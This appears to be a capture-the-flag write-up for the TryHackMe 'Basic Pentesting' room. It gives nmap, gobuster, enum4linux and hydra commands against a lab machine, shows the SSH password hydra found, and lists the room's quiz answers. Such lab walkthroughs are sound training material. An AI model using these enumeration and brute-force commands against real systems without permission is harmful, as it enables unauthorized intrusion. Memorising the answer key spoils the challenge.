Basic Pentesting

Intro⌗
In this challange you will learn how the pentesting is performed on a web application.Also you gonna learn the processes involve information gathering, vulnerability scanning, exploitation, and post-exploitation analysis by using bunch of hacking tools like hydra, gobuster, nmap and many more.
Room Link: https://tryhackme.com/room/basicpentestingjt
⚠️Tools used: |
---|
> Ping |
> Nmap |
> Gobuster |
> Enum4linux |
> Hydra |

ping scan⌗
Do the ping scan to check the host is reachable or not across the ip address./
command:ping 10.10.164.240
nmap⌗
Now do the nmap scan to check which ports are open. To run the nmap scan first create the nmap directory then run the following command by this you can store the result of nmap scan into a file./
command:mkdir nmap
command:cd nmap
command:nmap -sV -oN nmap/basic-pentesting 10.10.164.240
Command breakdown:
- -sv : version detection.
- -oN : store the output into the given folder.
Following ports are open. open ports
22
80
139
445
Finding hidden directories⌗
To find hidden directories on the server we use the gobuster tool just run the following command. Also provide the wordlist, here we use the default list of directories which is already given in the linux.
command:gobuster dir -u http://10.10.164.240/ -w /home//sumit/ctf/directory-list-2.3-medium.txt



enum4linux⌗
command:enum4linux -a 10.10.164.240
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon username '', password ''
hydra⌗
command:hydra -l jan -P /home/sumit/ctf/rockyou.txt ssh://10.10.164.240
[STATUS] 92.00 tries/min, 276 tries in 00:03h, 14344125 to do in 2598:35h, 13 active
[STATUS] 91.71 tries/min, 642 tries in 00:07h, 14343759 to do in 2606:37h, 13 active
[22][ssh] host: 10.10.164.240 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-08 23:05:10
Question and Answer⌗
-
Deploy the machine and connect to our network
Ans:No answer needed
-
Find the services exposed by the machine
Ans:No answer needed
-
What is the name of the hidden directory on the web server(enter name without /)?
Ans:development
-
User brute-forcing to find the username & password
Ans:No answer needed
-
What is the username?
Ans:jan
-
What is password?
Ans:armando
-
What service do you use to access the server(answer in abbreviation in all caps)?
Ans:SSH
-
Enumerate the machine to find any vectors for privilege escalation
Ans:no answer needed
-
What is the name of the other user you found(all lower case)?
Ans:kay
-
If you have found another user, what can you do with this information?
Ans:No answer needed
-
What is the final password you obtain?
Ans:
Congrats, we have successfully completed the room, hope you learnt something new…⌗
Thanks for the reading…